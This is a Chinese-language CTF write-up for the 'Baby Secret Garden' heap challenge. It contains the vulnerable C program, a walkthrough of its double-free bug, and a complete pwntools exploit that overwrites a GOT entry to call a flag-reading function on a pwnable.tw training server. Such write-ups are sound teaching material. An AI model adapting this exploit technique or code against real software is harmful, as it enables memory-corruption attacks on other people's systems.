1,题目链接和源码
链接:https://pan.baidu.com/s/1uM62fVg6yUNamKob74v4TA
提取码:1111
然后源码我也放在这吧
#include <stdio.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define TIMEOUT 60
struct flower{
int vaild ;
char *name ;
char color[24] ;
};
struct flower* flowerlist[100] ;
unsigned int flowercount = 0 ;
void menu(){
puts("");
puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
puts("☆ Baby Secret Garden ☆ ");
puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
puts("");
puts(" 1 . Raise a flower " );
puts(" 2 . Visit the garden ");
puts(" 3 . Remove a flower from the garden");
puts(" 4 . Clean the garden");
puts(" 5 . Leave the garden");
puts("");
printf("Your choice : ");
}
int add(){
struct flower *newflower = NULL ;
char *buf = NULL ;
unsigned size =0;
unsigned index ;
if(flowercount < 100){
newflower = malloc(sizeof(struct flower));
memset(newflower,0,sizeof(struct flower));
printf("Length of the name :");
if(scanf("%u",&size)== EOF) exit(-1);
buf = (char*)malloc(size);
if(!buf){
puts("Alloca error !!");
exit(-1);
}
printf("The name of flower :");
read(0,buf,size);
newflower->name = buf ;
printf("The color of the flower :");
scanf("%23s",newflower->color);
newflower->vaild = 1 ;
for(index = 0 ; index < 100 ; index++ ){
if(!flowerlist[index]){
flowerlist[index] = newflower ;
break ;
}
}
flowercount++ ;
puts("Successful !");
}else{
puts("The garden is overflow");
}
}
int del(){
unsigned int index ;
if(!flowercount){
puts("No flower in the garden");
}else{
printf("Which flower do you want to remove from the garden:");
scanf("%d",&index);
if(index < 0 ||index >= 100 || !flowerlist[index]){
puts("Invalid choice");
return 0 ;
}
(flowerlist[index])->vaild = 0 ;
free((flowerlist[index])->name);
puts("Successful");
}
}
void magic(){
int fd ;
char buffer[100];
fd = open("/home/babysecretgarden/flag",O_RDONLY);
read(fd,buffer,sizeof(buffer));
close(fd);
printf("%s",buffer);
exit(0);
}
void clean(){
unsigned index ;
for(index = 0 ; index < 100 ; index++){
if(flowerlist[index] && (flowerlist[index])->vaild == 0){
free(flowerlist[index]);
flowerlist[index] = NULL;
flowercount--;
}
}
puts("Done!");
}
int visit(){
unsigned index ;
if(!flowercount){
puts("No flower in the garden !");
}else{
for(index = 0 ; index < 100 ; index++){
if(flowerlist[index] && (flowerlist[index])->vaild){
printf("Name of the flower[%u] :%s\n",index,(flowerlist[index])->name);
printf("Color of the flower[%u] :%s\n",index,(flowerlist[index])->color);
}
}
}
}
void handler(int signum){
puts("timeout");
exit(1);
}
void init(){
int fd;
fd = open("/dev/urandom",0);
close(fd);
setvbuf(stdout,0,2,0);
signal(SIGALRM,handler);
alarm(TIMEOUT);
}
int main(){
init();
int choice ;
char buf[10];
while(1){
menu();
read(0,buf,8);
choice = atoi(buf);
switch(choice){
case 1:
add();
break ;
case 2:
visit();
break ;
case 3:
del();
break ;
case 4:
clean();
break ;
case 5:
puts("See you next time.");
exit(0);
default :
puts("Invalid choice");
break ;
}
}
}
2检测
3首先还是ida,然后直接去del的那一部分,感觉堆的题目大多是free的地方有问题
然后很明显这里的free没有置零
4然后看源码吧(虽然做题的时候看不到,但是我觉得在自己还不熟的情况下看源码比较容易让我自己理解)
之前的free对应着一段
5然后跑下程序
和之前的那些新建堆然后删掉的没啥区别,单纯换个形式,然后肯定是要用到之前double free的知识点
6在做题前我还是很喜欢源码,因为正向确实比逆向简单多了,以前不看源码,现在才知道magic里面就是一个c语言最简单的打开文件的操作,讲道理ida的反汇编是真的抽象
7,然后就是具体的解题
首先把got表的能搞先搞了
能用的还是那个输出函数,然后还是要把puts的位置干成magic
magic .text 0000000000400C7B 0000006E 00000088 . . . . . B . .
拉到gdb
堆打开来这个鬼样,0x31是因为源码中
给color的值是24是一个固定的值,然后0x61则是因为之前我们输入申请的大小是80
然后就是一个double free的机制
所谓double free,指的就是对同一个allocated chunk free两次,这样就可以形成一个类似0 -> 1 -> 0的cycled bin list,这样当我们malloc出0时,就可以修改bin list中0的fd,如1 -> 0 -> target,这样只要我们再malloc三次,并通过malloc的检查,就可以实现malloc到任何地址,进而实现任意地址写
create(0x50,'aaaa','red')
create(0x50,'bbbb','green')
delete(0)
delete(1)
delete(0)
create(0x50,p64(target),'red')
然后后面的那块颜色不会被释放掉,就随便填就行
from pwnpwnpwn import *
from pwn import *
host = "training.pwnable.tw"
port = 11012
r = remote(host,port)
def raiseflower(length,name,color):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(color)
def visit():
r.recvuntil(":")
r.sendline("2")
def remove(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def clean():
r.recvuntil(":")
r.sendline("4")
magic = 0x400c7b
fake_chunk = 0x601ffa
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
remove(0)
remove(1)
remove(0)
raiseflower(0x50,p64(fake_chunk),"blue")
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")
r.interactive()